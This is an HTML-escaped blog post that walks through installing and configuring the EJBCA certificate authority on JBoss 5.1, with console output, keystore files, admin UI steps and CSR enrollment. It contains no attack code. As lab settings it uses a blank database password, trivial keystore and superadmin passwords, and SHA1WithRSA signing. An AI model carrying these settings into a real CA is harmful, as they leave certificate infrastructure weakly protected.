In the post we will walk through the setup and configuration of EJBCA used as a CA.&lt;br /&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Setting up EJBCA&lt;/span&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Installation&lt;/span&gt;&lt;/h3&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Refer&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://ejbca.org/installation.html&quot;&gt;http://ejbca.org/installation.html&lt;/a&gt;&amp;nbsp;for details. Here are a few tips:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ol style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Copied unlimited strength policy files to jre/lib/security&lt;/li&gt;
&lt;li&gt;Refer&amp;nbsp;
&amp;lt;EJBCA&amp;gt;/conf/ejbca.properties&amp;nbsp;for detailed setup of EJBCA and other properties. I modified &amp;nbsp;the file to set the following:&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;appserver.home=jboss-5.1.0.GA&lt;/li&gt;
&lt;li&gt;ca.keystorepass=mypass&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;color: blue;&quot;&gt;Had to setup this entry correctly in to avoid token errors. Also verify that CA token is online in the Admin UI otherwise we run into issues while enrolling certificates.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/ol&gt;
&lt;li&gt;We are using the default hsqldb that comes with Jboss.&amp;nbsp;I modified the&amp;nbsp;
&amp;lt;EJBCA&amp;gt;/conf/database properties to set blank password for hsqldb. Changing the password in this file will require ant deploy to be executed again. Might be safer to use ant clean first.hsqldb-ds.xml has properties that can be enabled to allow tcp communication to the database. It is disabled by default.&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;database.password=&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;Verify that&amp;nbsp;
jboss-5.1.0.GA/server/default/deploy/ejbca-ds.xml and hsqldb-ds.xml have the correct database properties/values.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Refer&amp;nbsp; &amp;lt;EJBCA&amp;gt;/conf/install.properties&amp;nbsp;for detailed setup of the CA properties. To name a few properties:&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;ca.name=AdminCA1&lt;/li&gt;
&lt;li&gt;ca.dn=CN=AdminCA1,O=EJBCA Sample,C=SE&lt;/li&gt;
&lt;li&gt;One can also specify a configuration file here which defines key name, password and key alias for the HSM used.&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;ca.tokenproperties=/home/ejbca/ejbca/conf/catoken.properties&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;ca.signaturealgorithm=SHA1WithRSA ( &lt;span style=&quot;color: blue;&quot;&gt;need to change this and try with a better one&lt;/span&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;Added bouncy castle jars from ejbca/lib to jboss/server/default/lib&lt;/li&gt;
&lt;li&gt;Run:&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;&amp;nbsp;ant bootstrap&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;Files modified/copied include:&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;deploy/ejbca-ds.xml&lt;/li&gt;
&lt;li&gt;deploy/ejbca-mail-service.xml&lt;/li&gt;
&lt;li&gt;deploy/ejbca.ear&lt;/li&gt;
&lt;/ol&gt;
&lt;/ol&gt;
&lt;li&gt;&amp;nbsp;ant install ( all default properties except passwords)&lt;/li&gt;
&lt;li&gt;ant deploy&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;conf/keystore/keystore.jks&lt;/li&gt;
&lt;li&gt;conf/keystore/truststore.jks&lt;/li&gt;
&lt;li&gt;deploy/jboss-web.deployer/server.xml&lt;/li&gt;
&lt;/ol&gt;
&lt;/ol&gt;
&lt;li&gt;&lt;b&gt;Known issues&lt;/b&gt;&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;On JBoss 5.1.x (not on JBoss 6.0.x) the WSDL location gets incorrectly generated by default.&amp;nbsp;&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;To fix this (see JBoss settings during install) edit:&amp;nbsp;APPSRV_HOME/server/default/deployers/jbossws.deployer/META-INF/jboss-beans.xml&amp;nbsp;and comment out the line:&amp;nbsp;&amp;lt;property name=&quot;webServiceHost&quot;&amp;gt;${jboss.bind.address}&amp;lt;/property&amp;gt;&amp;nbsp;to force the location to be generated with info from the WSDL request.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;If this is not done you will get &quot;HTTP 302 Moved Temporarily&quot; errors when running the WS client.&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;If you are using Oracle&#39;s JDK and JBoss 5.1.x you need to copy EJBCA_HOME/lib/&lt;span style=&quot;color: blue;&quot;&gt;bc*.jar &lt;/span&gt;to JBOSS_HOME/server/default/lib/. Remember this when it&#39;s time for upgrades! This is a bug tracked by JBoss as JBAS-7882. OpenJDK works just fine though, such as the OpenJDK distributed with RedHat, Ubuntu, Debian etc.&lt;/li&gt;
&lt;li&gt;See installation link for other known issues with 5.1 and other Jboss versions.&lt;/li&gt;
&lt;/ol&gt;
&lt;/ol&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


Sample Output&lt;/h3&gt;
&lt;div&gt;
Here are a few excerpts from the console:&lt;/div&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;


Output 1:&lt;/h4&gt;
&lt;div&gt;
Initializing CA&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Generating rootCA keystore:&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CA name: AdminCA1&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] SuperAdmin CN: SuperAdmin&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] DN: CN=AdminCA1,O=EJBCA Sample,C=SE&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CA token type: soft&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CA token password: hidden&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Keytype: RSA&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Keyspec: 2048&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Validity (days): 3650&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Policy ID: null&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Signature alg: SHA1WithRSA&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Certificate profile: ROOTCA&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CA token properties: null&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Signed by: self signed&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Initalizing Temporary Authorization Module with caid=-xxxx and&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;superadmin CN &#39;SuperAdmin&#39;.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Creating CA...&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CAId for created CA: -xxxx&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] -Created and published initial CRL.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CA initialized&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;


Output 2a&lt;/h4&gt;
&lt;div&gt;
&lt;div&gt;
Trying to add user:
&lt;/div&gt;
&lt;div&gt;
Username: tomcat&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Password: &amp;lt;password hidden&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] DN: CN=localhost,O=EJBCA Sample,C=SE&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CA Name: AdminCA1&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
...&lt;/div&gt;
&lt;div&gt;
Generating keys in directory &amp;lt;EJBCA&amp;gt;/p12.&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Generating keys for tomcat.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Created Keystore for &#39;tomcat&#39;.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] New user generated successfully - tomcat.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h4&gt;


Output 2b&lt;/h4&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Trying to add user:&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Username: superadmin&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Password: &amp;lt;password hidden&amp;gt;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] DN: CN=SuperAdmin&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] CA Name: AdminCA1&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Generating keys in directory C:worldsecurityejbca_4_0_9p12.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Generating keys for superadmin.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] Created Keystore for &#39;superadmin&#39;.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[java] New user generated successfully - superadmin.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;h4&gt;


Output 3&lt;/h4&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Wrote Root CA certificate to &#39;&amp;lt;Local&amp;gt;\Temp/rootca.der&#39; using DER encoding.&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;[echo] Adding to or creating keystore: &amp;lt;EJBCA&amp;gt;/p12/truststore.jks&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Files Generated in&amp;nbsp;&lt;/span&gt;&amp;lt;EJBCA&amp;gt;/p12&lt;/h3&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;h4&gt;


&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;superadmin.p12&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h4&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Copy&amp;nbsp;&lt;/span&gt;this file&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp;to admin desktop machine and import in web browser. AdminUI uses client authentication and won&#39;t work without this.&amp;nbsp;This is the super administrators certificate used to access the admin GUI. Other administrators with specific privileges can be created later on. The default password for superadmin.p12 is ejbca, and is configured in web.properties.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;For creating other CAs or expired CAs...&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;ant -Dca.name=&quot;My CA Name&quot; javatruststore&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;This adds the CA certificate to p12/truststore.jks and copies this file to JBOSS_HOME/server/default/conf/keystore, where the SSL keystores are located.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;h4&gt;


&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;tomcat.jks&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/h4&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;This is for the servlet container in Jboss (tomcat ofcourse) and doesn&#39;t have to be tampered with. Here is a sample output of the keys(password is default pass used):&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;EJBCA&amp;gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;\p12&amp;gt;keytool -list -keystore tomcat.jks&lt;/span&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;&lt;/ul&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;cacert, Jun 1, 2012, trustedCertEntry,&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Certificate fingerprint (SHA1): 33:DA...&lt;/span&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;&lt;/ul&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;localhost, Jun 1, 2012, PrivateKeyEntry,&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Certificate fingerprint (SHA1): F8:4...&lt;/span&gt;&lt;br /&gt;
&lt;h4&gt;


&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;truststore.jks&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium; font-weight: normal;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; This is for the servlet container in Jboss (tomcat ofcourse) and doesn&#39;t have to be &amp;nbsp; &amp;nbsp;tampered with.&lt;/span&gt;&lt;/h4&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: medium;&quot;&gt;Accessing EJBCA&lt;/span&gt;&lt;/h2&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Access EJBCA to verify the install.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


Start Jboss&lt;/h3&gt;
jboss-5.1.0.GA\bin&amp;gt;run.bat &amp;gt; c:\jboss.log&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


Access Admin UI&lt;/h3&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Access Admin UI via&amp;nbsp;&lt;a href=&quot;https://localhost:8443/ejbca/adminweb/index.jsp&quot;&gt;https://localhost:8443/ejbca/adminweb/index.jsp&lt;/a&gt;&amp;nbsp;and create an End entity or user for certificate generation. For instance:&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Name: manojscepcertificate&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Password:&amp;nbsp;manojscepcertificate&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; CN=manojscepcertificate&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;Also, if the certificate is intended for Tomcat, then the below properties should be set correctly under the &quot;&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;&lt;i&gt;&lt;span style=&quot;color: blue;&quot;&gt;Main Certificate Data&lt;/span&gt;&lt;/i&gt;&quot; section:&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;Certificate Profile: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;SERVER&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;CA: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;AdminCA1&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 14.5pt;&quot;&gt;Token: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; User Generated&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Note: Double check if Token needs to be set to P12 for the enrollment to work correctly?&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;For instance the &quot;tomcat&quot; user that was created as part of install, has a generated certificate and the token is set to jks. So most probably the token should have an impact on what is returned from the server. Setting it to user defined might work as well since the (SCEP) client can dictate this.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;You can search and edit the entities as well.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;EJBCA UI&lt;/span&gt;&lt;/h3&gt;
Access the UI via&amp;nbsp;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;https://localhost:8443/ejbca/index.jsp&quot;&gt;https://localhost:8443/ejbca/index.jsp&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
This UI allows&amp;nbsp;enrolling for new certificates, getting the certificates and CRLs and links to Administration.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Certificate Enrollment&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
Click on &quot;Create&amp;nbsp;Certificate&amp;nbsp;from CSR&quot; in the UI or navigate to&amp;nbsp;&lt;a href=&quot;https://localhost:8443/ejbca/enrol/server.jsp&quot;&gt;https://localhost:8443/ejbca/enrol/server.jsp&lt;/a&gt;&amp;nbsp;and provide the below details:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Username ( entity created in admin UI)&lt;/li&gt;
&lt;li&gt;Password ( entity created in admin UI)
&lt;/li&gt;
&lt;li&gt;Request file.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This corresponds to the CSR file that can be created by using the Keytool supplied with JDK. One can also use openSSL or any other tool for creating this as well.&lt;/li&gt;
&lt;li&gt;Refer my &lt;a href=&quot;http://softwarearchitectureandarchitects.blogspot.com/2012/07/creating-x509v3-certificate.html&quot; target=&quot;_blank&quot;&gt;blog post on how to create a certificate.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black; font-weight: normal;&quot;&gt;The CSR can be &lt;/span&gt;&lt;/b&gt;PEM- or DER-formated file. One can also paste the PEM formatted contents directly into the textbox as well.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;A PEM-formatted request is a BASE64 encoded certificate request starting with&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;-----BEGIN CERTIFICATE REQUEST-----&lt;/li&gt;
&lt;li&gt;and ending with&lt;/li&gt;
&lt;li&gt;-----END CERTIFICATE REQUEST-----&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;The result type should be set to &quot;PKCS#7&quot; to get a single file with the Reply and the certificate chain.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;This returned reply can be imported in the keystore to complete the Certificate generation and signing process. Again, refer my&lt;b style=&quot;color: red;&quot;&gt;&amp;nbsp;&lt;a href=&quot;http://softwarearchitectureandarchitects.blogspot.com/2012/07/creating-x509v3-certificate.html&quot; style=&quot;font-weight: normal;&quot; target=&quot;_blank&quot;&gt;blog post on how to create a certificate&lt;/a&gt;&amp;nbsp;&lt;/b&gt;to get details on the import process.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;h3&gt;


&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;Certificate Enrollment Using SCEP&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
This is the subject of another blog post.&amp;nbsp;&lt;b style=&quot;color: red;&quot;&gt;&amp;lt;TODO: insert link to blog post on SCEP enrollment&amp;gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
References&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
WIKI:&amp;nbsp;&lt;a href=&quot;http://wiki.ejbca.org/editcas&quot;&gt;http://wiki.ejbca.org/editcas&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://ejbca.sourceforge.net/userguide.html&quot;&gt;http://ejbca.sourceforge.net/userguide.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.ejbca.org/userguide.html&quot;&gt;http://www.ejbca.org/userguide.html&lt;/a&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://majic.rs/book/free-software-x509-cookbook/setting-up-ejbca-as-certification-authority&quot;&gt;Stting up ejbca as certification authority on Jboss&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://www.ejbca.org/adminguide.html&quot;&gt;http://www.ejbca.org/adminguide.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://ejbca.org/security.html&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://ejbca.org/security.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://ejbca.org/older_releases/ejbca_3_8/htdocs/installation.html&quot;&gt;http://ejbca.org/older_releases/ejbca_3_8/htdocs/installation.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
